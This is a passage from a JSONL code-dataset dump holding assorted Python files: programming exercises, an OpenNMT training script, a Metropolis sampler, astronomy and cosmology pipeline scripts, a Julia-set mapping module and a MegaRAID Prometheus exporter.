num\r\n\r\nprint(f\"OddSum={OddSum:.2f},\")\r\nif OddMin != sys.maxsize:\r\n print(f\"OddMin={OddMin:.2f},\")\r\nelse:\r\n print(f\"OddMin=No,\")\r\nif OddMax != -sys.maxsize:\r\n print(f\"OddMax={OddMax:.2f},\")\r\nelse:\r\n print(f\"OddMax=No,\")\r\n\r\nprint(f\"EvenSum={EvenSum:.2f},\")\r\n\r\nif EvenMin != sys.maxsize:\r\n print(f\"EvenMin={EvenMin:.2f},\")\r\nelse:\r\n print(f\"EvenMin=No,\")\r\nif EvenMax != -sys.maxsize:\r\n print(f\"EvenMax={EvenMax:.2f}\")\r\nelse:\r\n print(f\"EvenMax=No\")\r\n","sub_path":"ForLoop/ex/3.EvenOddPosition.py","file_name":"3.EvenOddPosition.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"47614639","text":"import opennmt\nimport seq_tagger_updated as SequenceTagger\n\nconfig = {\n \"model_dir\": \"run/\",\n \"data\": {\n \"train_features_file\": \"train_words_bitext.txt\",\n \"train_labels_file\": \"train_tags_bitext.txt\",\n \"eval_features_file\": \"valid_words_bitext.txt\",\n \"eval_labels_file\": \"valid_tags_bitext.txt\",\n \"source_1_vocabulary\": \"src-train-vocab.txt\",\n \"source_2_vocabulary\": \"src-train-tkt-vocab.txt\",\n \"target_vocabulary\": \"tgt-train-vocab.txt\",\n },\n\n}\n\n# model = SequenceTagger.model()\n\n#model = opennmt.models.SequenceTagger()\nmodel = opennmt.models.catalog.LstmCnnCrfTagger()\nrunner = opennmt.Runner(model, config,auto_config=True)\nrunner.train(num_devices=2, with_eval=True)","sub_path":"en-pos-tagging/py_models/model_run.py","file_name":"model_run.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"413353917","text":"#!/usr/bin/python\n\n#declarations\na1 = 0\na2 = input('Input Modulus value: ')\nmulti1 = input('Input desired # of iterations: ' )\n\n\na1 = int(a1)\na2 = int(a2)\nq1 = 0\nmulti1 = int(multi1)\n\n#procedural declaration\ndef deter_remain(q1):\n\tif (q1 == 0):\n \t\tprint(a1, 'NO REMAINDER') \n\telse:\n\t\tprint(a1, '%', a2, '=', q1)\n\n()\t\n\n#Main line logic\t\ncount1 = multi1 * a2\nwhile (a1 < count1):\n\tq1 = (a1 % a2)\t\n\tdeter_remain(q1)\t\n\ta1 = (a1 + 1)\n\t\nprint ('Fin')","sub_path":"Modulus Exp 1.py","file_name":"Modulus Exp 1.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"252249218","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: D:\\BuildAgent\\work\\test/iobjectspy/ml\\vision\\_trainer_collector\\binary_classification_train.py\n# Compiled at: 2019-12-31 04:09:04\n# Size of source mod 2**32: 1722 bytes\nfrom _models.semantic_seg.unet import UnetTrainer\nfrom toolkit._toolkit import get_config_from_yaml\n\nclass BinaryClassification:\n\n def __init__(self, train_data_path, config, epoch, batch_size, lr, output_model_path, output_model_name, log_path, backbone_name, backbone_weight_path, reload_model, pretrained_model_path):\n self.train_data_path = train_data_path\n self.config = get_config_from_yaml(config)\n self.epoch = epoch\n self.batch_size = batch_size\n self.lr = lr\n self.output_model_path = output_model_path\n self.output_model_name = output_model_name\n self.log_path = log_path\n self.backbone_name = backbone_name\n self.backbone_weight_path = backbone_weight_path\n self.reload_model = reload_model\n self.pretrained_model_path = pretrained_model_path\n\n def train(self):\n \"\"\"\n 根据func_str拼接字符串自动执行各个网络的函数\n :return:\n \"\"\"\n func_str = 'self.' + self.config.model.name + '_' + self.config.framework.name\n eval(func_str)()\n\n def unet_keras(self):\n UnetTrainer().train((self.train_data_path), (self.config), epoch=(self.epoch), batch_size=(self.batch_size), lr=(self.lr), output_model_path=(self.output_model_path),\n output_model_name=(self.output_model_name),\n log_path=(self.log_path),\n backbone_name=(self.backbone_name),\n backbone_weight_path=(self.backbone_weight_path),\n reload_model=(self.reload_model),\n pretrained_model_path=(self.pretrained_model_path))\n\n def dlinknet_pytorch(self):\n pass","sub_path":"pycfiles/iobjectspy-10.0.1.0.tar/binary_classification_train.py","file_name":"binary_classification_train.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"272914211","text":"def reverse(num):\n if len(str(num)) <= 1:\n return num\n else:\n return int(str(num)[::-1])\n\ninputs = input().split(' ')\ni, j, k = int(inputs[0]), int(inputs[1]), int(inputs[2])\nnum_days = 0\n\nfor n in range(i, j+1):\n reversed_n = reverse(n)\n if abs(n-reversed_n)%k == 0:\n num_days += 1\n\nprint ( num_days )\n","sub_path":"challenges/dayatmovies.py","file_name":"dayatmovies.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"238192501","text":"import bs4\nfrom bs4 import BeautifulSoup\nimport re\nfrom datetime import datetime, timedelta, time\n\nFIELDNAMES = ['code', 'name', 'num', 'c_type', 'section', 'instructor',\n 'time', 'room', 'final', 'max_slots', 'enrolled', 'waitlisted', 'status']\n\nDAYS = {'Monday': 'M', 'Tuesday': 'Tu', 'Wednesday': 'W', 'Thursday': 'Th', 'Friday': 'F'}\n\n\nclass CourseTime:\n def __init__(self, timestring):\n timestring = [strip_soup(t) for t in timestring]\n self.string = timestring\n if 'TBA' in timestring:\n return\n self.times = dict()\n\n for ts in timestring:\n days, s_time = ts.split()\n\n day_set = set()\n start, end = [datetime.strptime(t, '%I:%M').time() for t in s_time.strip('p').split('-')]\n\n if s_time[-1] == 'p':\n end = end.replace(hour=end.hour + 12)\n # TODO: ugly\n if start < time(hour=10) or start == time():\n start = start.replace(hour=start.hour + 12)\n\n for d in DAYS.values():\n if d in days:\n day_set.add(d)\n\n self.times[tuple(day_set)] = {'start': start, 'end': end}\n\n def __eq__(self, other) -> bool:\n if type(other) == str:\n return self.string[0] == other\n return self.string == other.string\n\n def conflicts_with(self, other) -> bool:\n if 'TBA' in self.string or 'TBA' in other.string:\n return False\n for day1, time1 in self.times.items():\n for day2, time2 in other.times.items():\n if time1['start'] < time2['end'] and time2['start'] < time1['end'] and set(day1).intersection(\n set(day2)):\n return True\n return False\n\n def __repr__(self):\n return 'CourseTime({})'.format(self.string)\n\n def __str__(self):\n return '\\n'.join(strip_soup(s) for s in self.string)\n\n\nclass Course:\n def __init__(self, soup: bs4.element.Tag = None):\n for name in FIELDNAMES:\n self.__dict__[name] = None\n\n if type(soup).__name__ == 'Tag':\n self._parse(soup)\n\n def _parse(self, in_soup: bs4.element.Tag):\n '''\n format of expected input:\n [\n 0 course code 16000,\n 1 type Lec,\n 2 section A,\n 3 units 4,\n 4 instructor DANG, Q.,\n 5 time MWF   3:00- 3:50p,\n 6 room DBH 1100,\n 7 final Mon, Jun 8, 4:00-6:00pm,\n 8 max_slots 200,\n 9 enrolled 38 / 107,\n 10 waitlist n/a,\n 11 requested 44,\n 12 nor 0,\n 13 restrictions A and N,\n 14 bookstore_link Bookstore,\n 15 web_link  ,\n 16 status OPEN\n ]\n '''\n soup = in_soup.parent.contents\n self.code = int(_str(soup[0]))\n self.c_type = _str(soup[1])\n self.section = _str(soup[2])\n instructor = []\n for s in soup[4]:\n if s.string is not None:\n instructor.append(_str(s))\n self.instructor = '/'.join(instructor)\n self.time = CourseTime(list(soup[5].stripped_strings))\n self.room = soup[6].get_text()\n self.final = strip_soup(_str(soup[7]))\n self.max_slots = int(_str(soup[8]))\n self.enrolled = int(_str(soup[9]).split('/')[-1].strip())\n self.waitlisted = int(_str(soup[10])) if _str(soup[10]) != 'n/a' and 'off' not in _str(soup[10]) else None\n self.status = _str(soup[-1])\n\n self.num, self.name = self._get_name_and_num(in_soup)\n\n @staticmethod\n def _get_name_and_num(soup: bs4.element.Tag) -> str:\n for element in soup.previous_elements:\n if type(element).__name__ == 'Tag':\n get_color = element.get('bgcolor')\n td = element.td\n if get_color == '#fff0ff' and type(td.get('class')) == list and 'CourseTitle' in td.get('class'):\n num = strip_soup(_str(td.contents[0]))\n name = strip_soup(_str(td.contents[1]))\n return num, name\n\n def conflicts_with(self, other):\n if other is None:\n return False\n return self.time.conflicts_with(other.time)\n\n def to_dict(self) -> dict:\n return self.__dict__\n\n def to_json(self) -> dict:\n return dict((k, str(v)) if type(v) is CourseTime else (k, v) for k, v in self.__dict__.items())\n\n def __eq__(self, c) -> bool:\n return self.code == c.code\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __cmp__(self, other):\n c = self.code\n other = other.code if type(other) != int else other\n if c < other:\n return -1\n if c == other:\n return 0\n else:\n return 1\n\n def __str__(self) -> str:\n return str(self.to_dict())\n\n def __hash__(self):\n return hash(self.code)\n\n\ndef _str(soup):\n return str(soup.string)\n\n\nspaces = re.compile(r' {2,}')\n\n\ndef strip_soup(s: str) -> str:\n return spaces.sub(' ', s.replace('\\xa0', '').strip()).replace('- ', '-')\n\n\ndef course_from_data(code, num, name, c_type, section, instructor,\n c_time, room, max_slots, enrolled, status) -> Course:\n self = Course()\n self.code = code\n self.num = num\n self.name = name\n self.c_type = c_type\n self.section = section\n self.instructor = instructor\n self.time = c_time\n self.room = room\n self.max_slots = max_slots\n self.enrolled = enrolled\n self.status = status\n\n return self\n","sub_path":"Course.py","file_name":"Course.py","file_ext":"py","file_size_in_byte":6613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"341019128","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import division\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import integrate\n\n\ndef distribucion(x):\n w = (3.5 * np.exp(- (x - 3.)**2 / 3.) +\n 2 * np.exp(- (x + 1.5)**2 / 0.5))\n return w\n\n\ndef normalizacion(f, a=-100, b=100):\n '''\n Función que busca el factor normalizador de una función.\n '''\n N = integrate.quad(f, a, b)\n return N[0]\n\n\ndef dist_normalizada(x):\n wn = distribucion(x) / normalizacion(distribucion)\n return wn\n\n\ndef avanza_metropolis(xn, delta):\n r = np.random.uniform(-1, 1)\n xp = xn + delta * r\n # Si se cumple la condición, entonces avanzamos delta.\n # De lo contrario, nos quedamos en el mismo punto.\n if distribucion(xp) / distribucion(xn) > np.random.uniform(0., 1.):\n return xp\n else:\n return xn\n\n\ndef mejor_delta(N, dmin, dmax):\n '''\n Para el algoritmo de Metrópolis se busca que, almenos el 50%\n de los puntos sean aceptados, por lo que necesitamos encontrar\n el factor \"d\" que logre dicho objetivo.\n '''\n D = np.linspace(dmin, dmax, N)\n puntos = np.zeros(N)\n\n porcentaje = 0\n j = 0\n while np.fabs(porcentaje - 50.) >= 0.005:\n aceptados = 0\n puntos[0] = np.random.uniform(-10., 10.)\n for i in range(1, N):\n puntos[i] = avanza_metropolis(puntos[i-1], D[j])\n if puntos[i] == puntos[i-1]:\n aceptados += 1\n\n porcentaje = 100 * aceptados / N\n j += 1\n\n return D[j]\n\n\n# Setup\n\nnp.random.seed(123)\nn = 10000000\n\ndelta = mejor_delta(1000, -20, 20)\n\nx = np.zeros(n)\nw = np.zeros(n)\nx[0] = np.random.uniform(-5, 15)\nw[0] = dist_normalizada(x[0])\n\nfor i in range(1, n):\n x[i] = avanza_metropolis(x[i-1], delta)\n w[i] = dist_normalizada(x[1])\n\nx_distribucion = np.linspace(-10, 10, n)\n\nfig = plt.figure(1)\nfig.clf()\n\nax = fig.add_subplot(111)\nn, bins, patches = ax.hist(x, 100, normed=True, color='blue')\nax.plot(x_distribucion, dist_normalizada(x_distribucion),\n color='green', linewidth=2)\nax.set_xlabel(\"x\")\nax.set_ylabel(\"Distribución: W(x)\")\n\nplt.savefig('histograma.png')\n\nplt.draw()\nplt.show()\n","sub_path":"Tarea8p2.py","file_name":"Tarea8p2.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"534674381","text":"\nfrom ecl_tools.config.autoconf import check_defaults as config_check_defaults\n\nclass AutoConfMiddleware:\n \"\"\"\n This middleware looks for the autoconf flag and then configures the database defaults.\n This must appear after the session\n \"\"\"\n\n def process_request(self, request):\n if request.GET.get('autoconf', None) == '1':\n config_check_defaults()\n\n\n\n\n","sub_path":"ecl_tools/config/middleware/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"42205083","text":"\"\"\"\nScript to produce image cutouts.\n\nFor details, run::\n\n python cutout.py --help\n\n\"\"\"\n\nimport os\nimport argparse\nimport logging\n\nfrom matplotlib import pyplot as plt\n\nfrom obiwan import RunCatalog,find_file,utils,setup_logging\nfrom obiwan.analysis import ImageAnalysis\n\n\nlogger = logging.getLogger('cutout')\n\n\ndef main(args=None):\n\n parser = argparse.ArgumentParser(description='Cutout',formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('--ncuts', type=int, default=1,\n help='Maximum number of cutouts for each brick run. -1 to ignore')\n plot_base_template = 'cutout-%(brickname)s-%(icut)d.png'\n parser.add_argument('--plot-fn', type=str, default=None, help='Plot file name; \\\n defaults to coadd-dir/%s' % plot_base_template)\n RunCatalog.get_output_parser(parser=parser)\n opt = parser.parse_args(args=utils.get_parser_args(args))\n runcat = RunCatalog.from_output_cmdline(opt)\n\n for run in runcat:\n\n image = ImageAnalysis(base_dir=opt.output_dir,brickname=run.brickname,kwargs_file=run.kwargs_file)\n filetypes = ['image-jpeg','model-jpeg','resid-jpeg']\n image.read_image(filetype=filetypes[0])\n image.read_image_wcs()\n image.read_sources(filetype='randoms')\n slices = image.suggest_zooms()\n if opt.ncuts >= 0:\n slices = slices[:opt.ncuts]\n for islice,(slicex,slicey) in enumerate(slices):\n fig,lax = plt.subplots(ncols=len(filetypes),sharex=False,sharey=False,figsize=(4*len(filetypes),4),squeeze=False)\n fig.subplots_adjust(hspace=0.2,wspace=0.2)\n for ax,filetype in zip(lax[0],filetypes):\n image.read_image(filetype=filetype)\n image.set_subimage(slicex,slicey)\n image.plot(ax)\n image.plot_sources(ax)\n plot_fn_kwargs = {'brickname':run.brickname,'icut':islice+1}\n if opt.plot_fn is None:\n image_fn = find_file(base_dir=opt.output_dir,filetype='image-jpeg',brickname=run.brickname,source='obiwan',**run.kwargs_file)\n plot_fn = os.path.join(os.path.dirname(image_fn),plot_base_template % plot_fn_kwargs)\n if plot_fn == image_fn:\n raise ValueError('Cutout filename is the same as image: %s' % image_fn)\n else:\n plot_fn = opt.plot_fn % plot_fn_kwargs\n utils.savefig(fn=plot_fn)\n\n\nif __name__ == '__main__':\n\n setup_logging()\n main()\n","sub_path":"py/obiwan/scripts/cutout.py","file_name":"cutout.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"201244927","text":"\"\"\"Module containing all of the classes for mappings.\"\"\"\nfrom abc import ABC, abstractmethod\nimport numpy as np\nfrom PIL import Image\nfrom matplotlib import cm\nimport cmath\n\n\nclass Map(ABC):\n \"\"\"A mapping f: C -> C.\"\"\"\n\n @abstractmethod\n def __init__(self) -> None:\n pass\n\n @abstractmethod\n def __call__(self, z: complex) -> complex:\n \"\"\"\n Return the result of the map acting on a value z.\n\n Parameters\n ----------\n z: complex\n The value to apply the map to.\n\n Returns\n -------\n f(z): complex\n The result of the mapping applied to z.\n \"\"\"\n pass\n\n\nclass CubicMap(Map):\n \"\"\"A polynomial mapping f: C -> C.\"\"\"\n\n def __init__(self, a: float = None, b: float = None) -> None:\n \"\"\"\n Construct an instance of the PolynomialMap class.\n\n A complex cubic map p: C -> C of the form:\n p(z) = z^3 - az + b\n\n Parameters\n ----------\n a: float\n The term a in the cubic map.\n b: float\n The term b in the cubic map.\n \"\"\"\n self.a = a\n self.b = b\n\n def __call__(self, z: complex) -> complex: # noqa D102\n return z**3 - self.a*z + self.b\n\n def derivative(self, z) -> \"CubicMap\":\n \"\"\"\n Return the derivative of the polynomial.\n\n Returns\n -------\n derivative: PolynomialMap\n The derivative of the polynomial.\n \"\"\"\n return 3*z**2 - self.a\n\n def _calculate_multibrot(self,\n res_x: int = 600,\n res_y: int = 600,\n iterations: int = 200,\n x_range: tuple = (-3, 3),\n y_range: tuple = (-3, 3),\n z_max: float = 3) -> np.ndarray:\n results = np.ones((res_x, res_y))\n c1 = -cmath.sqrt(self.a/3)\n c2 = cmath.sqrt(self.a/3)\n for x_i, x in enumerate(np.linspace(x_range[0], x_range[1], res_x)):\n for y_i, y in enumerate(np.linspace(y_range[0], y_range[1], res_y)):\n self.b = complex(x, y)\n z1 = c1\n z2 = c2\n i = 0\n z1_diverge = False\n z2_diverge = False\n while i < iterations:\n z1 = self(z1) if not z1_diverge else z1\n z2 = self(z2) if not z2_diverge else z2\n if abs(z1 - c1) > z_max:\n z1_diverge = True\n if abs(z2 - c2) > z_max: \n z2_diverge = True\n if z1_diverge and z2_diverge:\n results[x_i, y_i] = i/iterations\n break\n i += 1\n\n return results\n\n def draw_multibrot(self,\n res_x: int = 600,\n res_y: int = 600,\n iterations: int = 200,\n x_range: tuple = (-3, 3),\n y_range: tuple = (-3, 3),\n z_max: float = 3):\n results = self._calculate_multibrot(res_x, res_y, iterations, x_range, y_range, z_max)\n im = Image.fromarray(np.uint8(cm.cubehelix_r(results)*255))\n im.show()\n return im\n\n def _calculate_julia(self,\n res_x: int = 600,\n res_y: int = 600,\n iterations: int = 200,\n x_range: tuple = (-3, 3),\n y_range: tuple = (-3, 3),\n z_max: float = 3) -> np.ndarray:\n results = np.ones((res_x, res_y))\n for x_i, x in enumerate(np.linspace(x_range[0], x_range[1], res_x)):\n for y_i, y in enumerate(np.linspace(y_range[0], y_range[1], res_y)):\n z = complex(x, y)\n i = 0\n while i < iterations:\n z = self(z)\n if abs(z) > z_max:\n results[x_i, y_i] = i/iterations\n break\n i += 1\n\n return results\n\n def draw_julia(self,\n res_x: int = 600,\n res_y: int = 600,\n iterations: int = 200,\n x_range: tuple = (-3, 3),\n y_range: tuple = (-3, 3),\n z_max: float = 3) -> Image.Image:\n results = self._calculate_julia(res_x, res_y, iterations, x_range, y_range, z_max)\n im = Image.fromarray(np.uint8(cm.cubehelix_r(results)*255))\n im.show()\n return im\n\n\nclass CubicNewtonMap(Map):\n \"\"\"A Newton mapping f: C -> C, i.e. f(z) = z - g'(z)/g(z).\"\"\"\n\n def __init__(self, cubic: CubicMap) -> None:\n \"\"\"\n Construct an instance of the CubicNewtonMap class.\n\n The iterative formula for Newton's method to find roots of a polynomial. For a cubic p(z), the Newton map will be:\n f(z) = z - p'(z)/p(z).\n \n Parameters\n ----------\n cubic: CubicNewtonMap\n The cubic to find the Newton map for.\n \"\"\"\n self.cubic = cubic\n \n def __call__(self, z: complex) -> complex: #noqa D102\n return z - self.cubic.derivative(z)/self.cubic(z)\n","sub_path":"src/julia/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":5310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"440723134","text":"\"\"\"\n\nCalculates cluster count derivatives using MPI.\n\nAlways reads values from input/pipelineMakeDerivs.py, including\nparameter fiducials and step-sizes.\n\npython bin/makeDerivs.py \n\n is comma separated param list, no spaces, case-sensitive.\n\nIf is \"allParams\", calculates derivatives for all\nparams with step sizes in [params] section of ini file.\n\n is name of section in input/pipelineMakeDerivs.py\nthat specifies an experiment.\n\n name of calibration that will be used in the saved files\n\n is the name of a pickle file containing the mass\ncalibration error over mass.\n\n\"\"\"\nfrom __future__ import print_function\nfrom __future__ import division\n\nfrom builtins import str\nfrom builtins import range\nfrom past.utils import old_div\ndebug = False\n\n\nif debug: print(\"Starting common module imports...\")\n\nfrom mpi4py import MPI\nfrom szar.counts import ClusterCosmology,Halo_MF,getNmzq\nfrom szar.szproperties import SZ_Cluster_Model\nimport numpy as np\n \nif debug: print(\"Finished common module imports.\")\n\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank()\nnumcores = comm.Get_size() \n\n\n\n\n# the boss prepares cosmology objects for the minions\n# Also, I really don't want all my cores to import a bunch of\n# python modules\nif rank==0:\n\n if debug: print(\"Starting rank 0 imports...\")\n\n import sys\n from configparser import SafeConfigParser \n import pickle as pickle\n\n if debug: print(\"Finished rank 0 imports. Starting rank 0 work...\")\n \n\n expName = sys.argv[1]\n gridName = sys.argv[2]\n calName = sys.argv[3]\n calFile = sys.argv[4]\n\n # Let's read in all parameters that can be varied by looking\n # for those that have step sizes specified. All the others\n # only have fiducials.\n iniFile = \"input/pipeline.ini\"\n Config = SafeConfigParser()\n Config.optionxform=str\n Config.read(iniFile)\n bigDataDir = Config.get('general','bigDataDirectory')\n waDerivRoot = bigDataDir+Config.get('general','waDerivRoot')\n\n\n fparams = {} # the \n stepSizes = {}\n for (key, val) in Config.items('params'):\n if ',' in val:\n param, step = val.split(',')\n fparams[key] = float(param)\n stepSizes[key] = float(step)\n else:\n fparams[key] = float(val)\n\n\n\n\n waStep = stepSizes['wa']\n\n assert numcores==3, \"I need 3 cores to do my job for 1 params. \\\n You gave me \"+str(numcores)+ \" core(s) for 1 param(s).\"\n\n\n version = Config.get('general','version')\n # load the mass calibration grid\n mexp_edges, z_edges, lndM = pickle.load(open(calFile,\"rb\"))\n\n mgrid,zgrid,siggrid = pickle.load(open(bigDataDir+\"szgrid_\"+expName+\"_\"+gridName+ \"_v\" + version+\".pkl\",'rb'))\n assert np.all(mgrid==mexp_edges)\n assert np.all(z_edges==zgrid)\n \n saveId = expName + \"_\" + gridName + \"_\" + calName + \"_v\" + version\n\n from orphics.io import dict_from_section, list_from_config\n constDict = dict_from_section(Config,'constants')\n clusterDict = dict_from_section(Config,'cluster_params')\n beam = list_from_config(Config,expName,'beams')\n noise = list_from_config(Config,expName,'noises')\n freq = list_from_config(Config,expName,'freqs')\n lknee = list_from_config(Config,expName,'lknee')[0]\n alpha = list_from_config(Config,expName,'alpha')[0]\n fsky = Config.getfloat(expName,'fsky')\n try:\n v3mode = Config.getint(expName,'V3mode')\n except:\n v3mode = -1\n\n clttfile = Config.get('general','clttfile')\n\n # get s/n q-bins\n qs = list_from_config(Config,'general','qbins')\n qspacing = Config.get('general','qbins_spacing')\n if qspacing==\"log\":\n qbin_edges = np.logspace(np.log10(qs[0]),np.log10(qs[1]),int(qs[2])+1)\n elif qspacing==\"linear\":\n qbin_edges = np.linspace(qs[0],qs[1],int(qs[2])+1)\n else:\n raise ValueError\n\n massMultiplier = Config.getfloat('general','mass_calib_factor')\n YWLcorrflag = Config.getfloat('general','ywl_corr_flag')\n\n if debug: print(\"Finished rank 0 work.\")\n\nelse:\n waDerivRoot = None\n waStep = None\n fparams = None\n mexp_edges = None\n z_edges = None\n lndM = None\n saveId = None\n constDict = None\n clttfile = None\n qbin_edges = None\n clusterDict = None\n beam = None\n noise = None\n freq = None\n lknee = None\n alpha = None\n fsky = None\n massMultiplier = None\n siggrid = None\n YWLcorrflag = None\n v3mode = None\n\nif rank==0: print(\"Broadcasting...\")\nwaDerivRoot = comm.bcast(waDerivRoot, root = 0)\nwaStep = comm.bcast(waStep, root = 0)\nfparams = comm.bcast(fparams, root = 0)\nmexp_edges = comm.bcast(mexp_edges, root = 0)\nz_edges = comm.bcast(z_edges, root = 0)\nlndM = comm.bcast(lndM, root = 0)\nsaveId = comm.bcast(saveId, root = 0)\nconstDict = comm.bcast(constDict, root = 0)\nclttfile = comm.bcast(clttfile, root = 0)\nqbin_edges = comm.bcast(qbin_edges, root = 0)\nclusterDict = comm.bcast(clusterDict, root = 0)\nbeam = comm.bcast(beam, root = 0)\nnoise = comm.bcast(noise, root = 0)\nfreq = comm.bcast(freq, root = 0)\nlknee = comm.bcast(lknee, root = 0)\nalpha = comm.bcast(alpha, root = 0)\nfsky = comm.bcast(fsky, root = 0)\nmassMultiplier = comm.bcast(massMultiplier, root = 0)\nsiggrid = comm.bcast(siggrid, root = 0)\nYWLcorrflag = comm.bcast(YWLcorrflag, root = 0)\nv3mode = comm.bcast(v3mode, root = 0)\nif rank==0: print(\"Broadcasted.\")\n\nmyParamIndex = old_div((rank+1),2)-1\npassParams = fparams.copy()\n\n \nif rank==1:\n fileSuff = \"Up\"\nelif rank==2:\n fileSuff = \"Dn\"\n\nif rank!=0: \n pFile = lambda z: waDerivRoot+str(waStep)+fileSuff+\"_matterpower_\"+str(z)+\".dat\"\n zcents = old_div((z_edges[1:]+z_edges[:-1]),2.)\n for inum,z in enumerate(zcents):\n kh,p = np.loadtxt(pFile(z),unpack=True)\n if inum==0:\n khorig = kh.copy()\n pk = np.zeros((zcents.size,kh.size))\n assert np.all(np.isclose(kh,khorig))\n pk[inum,:] = p.copy()\nelse:\n kh = None\n pk = None\n\nif rank==0: print(\"v3mode\", v3mode)\n\ncc = ClusterCosmology(passParams,constDict,clTTFixFile=clttfile)\nHMF = Halo_MF(cc,mexp_edges,z_edges,kh=kh,powerZK=pk)\nHMF.sigN = siggrid.copy()\nSZProf = SZ_Cluster_Model(cc,clusterDict,rms_noises = noise,fwhms=beam,freqs=freq,lknee=lknee,alpha=alpha,v3mode=v3mode,fsky=fsky)\n\nif (YWLcorrflag == 1):\n dN_dmqz = HMF.N_of_mqz_SZ_corr(lndM*massMultiplier,qbin_edges,SZProf)\nelse:\n dN_dmqz = HMF.N_of_mqz_SZ(lndM*massMultiplier,qbin_edges,SZProf)\n\nif rank==0: \n np.save(bigDataDir+\"N_mzq_\"+saveId+\"_wa_fid\",getNmzq(dN_dmqz,mexp_edges,z_edges,qbin_edges))\n\n print(\"Waiting for ups and downs...\")\n for i in range(1,numcores):\n data = np.empty(dN_dmqz.shape, dtype=np.float64)\n comm.Recv(data, source=i, tag=77)\n if i==1:\n dUp = data.copy()\n elif i==2:\n dDn = data.copy()\n \n \n Nup = getNmzq(dUp,mexp_edges,z_edges,qbin_edges) \n Ndn = getNmzq(dDn,mexp_edges,z_edges,qbin_edges)\n dNdp = old_div((Nup-Ndn),waStep)\n np.save(bigDataDir+\"Nup_mzq_\"+saveId+\"_wa\",Nup)\n np.save(bigDataDir+\"Ndn_mzq_\"+saveId+\"_wa\",Ndn)\n np.save(bigDataDir+\"dNdp_mzq_\"+saveId+\"_wa\",dNdp)\n \nelse:\n data = dN_dmqz.astype(np.float64)\n comm.Send(data, dest=0, tag=77)\n\n\n\n\n \n","sub_path":"bin/makeWaDeriv.py","file_name":"makeWaDeriv.py","file_ext":"py","file_size_in_byte":7288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"379827077","text":"import requests\n\nurl = 'http://www.baidu.com/'\nheaders = {'User-Agent':\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\"}\n# 发请求获取响应对象\nres = requests.get(url,headers=headers)\nres.encoding = 'utf-8'\nhtml = res.content\n\nwith open('yinbao.jpg','wb')as f:\n f.write(html)\n\nprint('保存到本地')\n\n","sub_path":"web_crawler/_11_1.requests.py","file_name":"_11_1.requests.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"503663852","text":"#!/usr/bin/env python\n\nfrom prometheus_client.core import GaugeMetricFamily, REGISTRY\nfrom prometheus_client import start_http_server\nimport json\nimport os\nimport subprocess\nimport time\n\n\nclass StorcliCollector:\n\n def __init__(self, path):\n self.path = path\n self.controllers = []\n self.vds = []\n self.pds = []\n\n def collect(self):\n data = json.loads(self._get_json())['Controllers']\n self.controllers, self.vds, self.pds = [], [], []\n for ctrl in data:\n resp = ctrl.get('Response Data')\n if not resp:\n continue\n self.parse_controller(resp)\n\n for ctr in self.controllers:\n err = 1\n if ctr['errors_correctable'] != 0 or ctr['errors_uncorrectable'] != 0 or ctr['bbu'] == 0:\n err = 0\n g = GaugeMetricFamily('megaraid_controllers', 'Controllers state',\n labels=['controller', 'model', 'errors_correctable', 'errors_uncorrectable',\n 'bbu', 'roc_temp'])\n g.add_metric([str(ctr['controller']), ctr['model'], str(ctr['errors_correctable']),\n str(ctr['errors_uncorrectable']), str(ctr['bbu']), str(ctr['roc_temp'])], err)\n\n yield g\n\n for vd in self.vds:\n err = 1\n if vd['state'] != 'optl':\n err = 0\n g = GaugeMetricFamily('megaraid_virtual_drives', 'Virtual drives state',\n labels=['controller', 'vd', 'type', 'state', 'size'])\n g.add_metric([str(vd['controller']), str(vd['vd']), vd['type'], vd['state'], str(vd['size'])], err)\n yield g\n\n for pd in self.pds:\n err = 1\n if pd['state'] != 'onln':\n err = 0\n g = GaugeMetricFamily('megaraid_physical_drives', 'Physical drives state',\n labels=['controller', 'enclosure', 'slot', 'vd', 'state', 'size'])\n g.add_metric([str(pd['controller']), str(pd['enclosure']), str(pd['slot']), str(pd['vd']),\n pd['state'], pd['size']], err)\n yield g\n\n def parse_controller(self, resp):\n dg_vd_map = {'-': None}\n ctrl_id = resp['Basics']['Controller']\n self.controllers.append({\n 'controller': ctrl_id,\n 'model': resp['Basics']['Model'],\n 'errors_correctable': int(resp['Status']['Memory Correctable Errors']),\n 'errors_uncorrectable': int(resp['Status']['Memory Uncorrectable 